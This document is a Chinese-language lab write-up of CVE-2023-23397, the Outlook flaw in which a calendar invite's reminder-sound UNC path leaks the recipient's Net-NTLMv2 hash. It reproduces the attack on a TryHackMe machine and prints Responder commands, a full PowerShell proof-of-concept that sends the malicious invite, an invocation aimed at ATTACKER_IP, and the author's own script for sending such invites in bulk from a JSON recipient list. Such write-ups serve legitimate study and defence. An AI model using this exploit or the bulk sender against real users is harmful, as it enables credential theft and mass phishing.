3月14日星期二,微軟發布了83個安全補丁,包括CVE-2023-23397。CVE-2023-23397影響所有受支持的Outlook Windows版本,但不影響Android、iOS或macOS版本。此外,由于Outlook on the web和Microsoft 365等在線服務不支持NTLM身份驗證,因此它們不易受到利用此NTLM中繼漏洞的攻擊。

與大多數漏洞不同,它是一個zero-click漏洞,這意味著不需要任何用戶交互就可以觸發它。一旦惡意郵件到達用戶的收件箱,攻擊者就可以獲取用戶的Net-NTLMv2憑證Hash。

本文在TryHackMe的Windows server2019靶機上復現學習

漏洞原理 Review

和很多發起Net-NTLM請求的方式一樣,Outlook NTLM Leak也是通過outlook應用中的UNC路徑訪問發起請求,導致的用戶Net-NTLMv2泄露

在 Outlook 上,可以在發送日歷邀請時添加提醒通知:

我們可以指定在用戶(收件人)收到日歷會議或事件的通知提醒時播放的音頻文件(Reminder Sound)。Reminder Sound在一定條件下能被設置為UNC路徑,

通過操縱此參數可以強制收件人與UNC路徑中的攻擊機ip發起Net-NTLM身份認證請求,導致收件人Net-NTLMv2泄露 ,而無需交互。

通過 UNC 路徑濫用提醒聲音

為了利用此漏洞,我們必須創建一個惡意的日歷邀請,其中包括一個指向攻擊者機器上網絡共享中文件的聲音文件的引用。在 Outlook 郵件的低級別實現中,郵箱會將對聲音文件的引用存儲在名為 PidLidReminderFileParameter 的內部參數中。為確保我們嵌入的音頻優先于受害者默認的提醒配置,還需要設置另一個名為 PidLidReminderOverride 的參數,并將其設置為true,以確保指向聲音文件的優先級。

為了將 PidLidReminderFileParameter 屬性設置為指向網絡共享,我們可以指定一個 Universal Naming Convention (UNC) 路徑,而不是本地文件。UNC 在 Windows 操作系統中用于查找網絡資源(文件、打印機、共享文檔)。這些路徑由 \\托管資源的計算機的 IP 地址或名稱\共享名稱和文件名組成。例如:

\\ATTACKER_IP\foo\bar.wav

當受害者收到惡意電子郵件后,UNC 路徑將指向 SMB 共享,觸發漏洞。這將導致收件人自動發起針對攻擊者機器的 NTLM 認證過程,從而泄漏攻擊者后續可以嘗試破解的 Net-NTLMv2 哈希值。

如果由于某些原因 SMB 協議不能使用,則非服務器版本的 Windows 可以接受使用指向端口 80 或 443 的 UNC 路徑,并使用 HTTP 從啟用了 WebDAV 的 Web 服務器檢索文件。這種 UNC 路徑的語法如下:

\\ATTACKER_IP@80\foo\bar.wav\\ATTACKER_IP@443\foo\bar.wav

這對于繞過防火墻限制,防止對端口445(SMB)進行出站連接可能有用。

制作惡意約會(Appointment)邀請

現在,我們了解了漏洞的工作原理,讓我們制作一個包含所需參數以觸發漏洞的惡意電子郵件約會。

啟動Responder

由于我們預計受害者將在端口445上向攻擊者觸發認證嘗試,因此我們將設置Responder來處理認證過程并為我們捕獲NetNTLM哈希。如果您不熟悉Responder,則它將簡單地模擬一個SMB服務器并捕獲任何針對它的認證嘗試。

啟動Responder以偵聽接口上的認證嘗試

responder -I ens5

攻擊機啟動responder

嘗試手工制作惡意 Appointment

New一個Appointment

嘗試直接把音樂文件設置為UNC路徑

不過在這里outlook會自動重置默認音頻文件,Outlook不希望用戶在此處輸入UNC路徑,它會將我們的UNC路徑視為無效輸出并直接重置。


OutlookSpy 繞過

Outlook應用無法直接將提醒的聲音文件設置為UNC路徑,但是我們可以用OutlookSpy插件來實現此操作。這個插件會允許我們直接訪問Outlook所有的內部參數,包括提醒的聲音文件。

所有這個漏洞利用,OutlookSpy需要用戶額外安裝,條件也算苛刻了

安裝前和安裝后

確保在新建的Appointment中訪問OutlookSpy,注意:否則可能會更改不同的Outlook組件。


從這個窗口,我們看到與Appointment提醒相關的參數。我們想將ReminderSoundFile參數設置為指向我們的攻擊機的UNC路徑,并將ReminderOverrideDefault和ReminderPlaySound都設置為True。僅供參考,以下是每個參數的作用:

  • ReminderPlaySound:Bool值,指示是否在提醒時播放聲音。
  • ReminderOverrideDefault:Bool值,指示接收Outlook客戶端播放ReminderSoundFile指向的聲音,而不是默認的聲音。
  • ReminderSoundFile:包含使用的聲音文件路徑的字符串。對于我們的漏洞利用,這將指向我們AttackBox中的虛假共享文件夾。

我們可以使用腳本選項卡和以下腳本將參數更改為所需值:


確保更改生效,可以返回查看默認的ReminderSoundFile,如下圖,默認音頻文件已經改變。最后,保存Appointment,提醒設置為0分鐘,以便立即觸發它


等待通知

觸發后,在攻擊機接收到用戶的Net-NTLMv2,后面就各顯神通了


測試POC和一些后續

上面也僅僅是本地測試,離利用還差得遠

看api0cradle的POC,CVE-2023-23397-POC-Powershell,是一段powershell的腳本

# CVE-2023-23397 POC# Author: Oddvar Moe (@oddvarmoe) - TrustedSec# Usage examples: # # Sending:# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\10.10.10.10otexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.comotexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com@80otexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com@SSL@443otexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"## Saving:# Save-CalendarNTLMLeak -remotefilepath "\\10.10.10.10otexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.comotexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@80\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@SSL@443\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"

function Send-CalendarNTLMLeak ($recipient, $remotefilepath, $meetingsubject, $meetingbody){    $Outlook = New-Object -comObject Outlook.Application    $newcal = $outlook.CreateItem('olAppointmentItem')    $newcal.ReminderSoundFile = $remotefilepath    $newcal.Recipients.add($recipient)    $newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting    $newcal.Subject = $meetingsubject    $newcal.Location = "Virtual"    $newcal.Body = $meetingbody    $newcal.Start = get-date    $newcal.End = (get-date).AddHours(2)    $newcal.ReminderOverrideDefault = 1    $newcal.ReminderSet = 1    $newcal.ReminderPlaysound = 1    $newcal.send()}
function Save-CalendarNTLMLeak ($remotefilepath, $meetingsubject, $meetingbody){    $Outlook = New-Object -comObject Outlook.Application    $newcal = $outlook.CreateItem('olAppointmentItem')    $newcal.ReminderSoundFile = $remotefilepath    $newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting    $newcal.Subject = $meetingsubject    $newcal.Location = "Virtual"    $newcal.Body = $meetingbody    $newcal.Start = get-date    $newcal.End = (get-date).AddHours(2)    $newcal.ReminderOverrideDefault = 1    $newcal.ReminderSet = 1    $newcal.ReminderPlaysound = 1    $newcal.save()}

主要兩個函數

  • Save-CalendarNTLMLeak : 此功能創建惡意約會(Appointment)并將其保存到您自己的日歷中,用于自己測試。
  • Send-CalendarNTLMLeak : 此功能創建惡意約會(Appointment)并通過電子郵件將其發送給受害者。email邀請將從 Outlook 的當前默認帳戶發送

兩個功能差不多,這里只解釋Send-CalendarNTLMLeak函數

其主要功能是使用Microsoft Outlook創建一個帶有提醒聲音的日歷會議,并將它發送給指定的收件人。

具體來說,該代碼創建了一個名為 "Outlook" 的COM對象,然后利用該對象調用CreateItem()方法創建一個新的日歷事件。

$Outlook = New-Object -comObject Outlook.Application    $newcal = $outlook.CreateItem('olAppointmentItem')

此外,這個日歷事件還設置了包括諸如MeetingSubject(會議主題)、MeetingBody(會議內容)等信息,以及開始時間和結束時間等其他詳細信息。最后,該腳本調用send()方法將創建的日歷事件通過Outlook程序發送給收件人。

總之,這段代碼可以自動化設置Outlook日歷會議并向指定受眾發送會議邀請。需要注意的是,如果Outlook沒有安裝或未正確配置,則此腳本可能無法正常運行。

所以這一切的基礎上還是用戶安裝了Outlookspy

腳本利用

PS C:\> cd C:\Users\Administrator\Desktop\PS C:\Users\Administrator\Desktop\> Import-Module .\CVE-2023-23397.ps1  # 導入powshell腳本,以便直接使用函數 PS C:\Users\Administrator\Desktop\> Send-CalendarNTLMLeak -recipient "test@Test.local" -remotefilepath "\\ATTACKER_IP\foo\bar.wav" -meetingsubject "TestMeeting" -meetingbody "This is just a regular meeting invitation :)" #調用函數

試著寫了個批量的,導入上面模塊后直接在Powershell里直接調用上面的poc

# 讀取json格式的文件,保存為變量$json_data = Get-Content -Raw -Path "C:\path\to\file.json" | ConvertFrom-Json
# 遍歷json數據foreach($item in $json_data) {    # 從json數據中獲取參數值    $recipient = $item.recipient    $remotefilepath = $item.remotefilepath    $meetingsubject = $item.meetingsubject    $meetingbody = $item.meetingbody
    # 調用Send-CalendarNTLMLeak函數并傳遞參數    Send-CalendarNTLMLeak -recipient $recipient -remotefilepath $remotefilepath -meetingsubject $meetingsubject -meetingbody $meetingbody}

json格式文件如下

[    {        "recipient": "test1@thm.loc",        "remotefilepath": "\\\\ATTACKER_IP\\foo\\bar1.wav",        "meetingsubject": "Meeting 1",        "meetingbody": "This is just a regular meeting invitation 1 :)"    },    {        "recipient": "test2@thm.loc",        "remotefilepath": "\\\\ATTACKER_IP\\foo\\bar2.wav",        "meetingsubject": "Meeting 2",        "meetingbody": "This is just a regular meeting invitation 2 :)"    },    ...]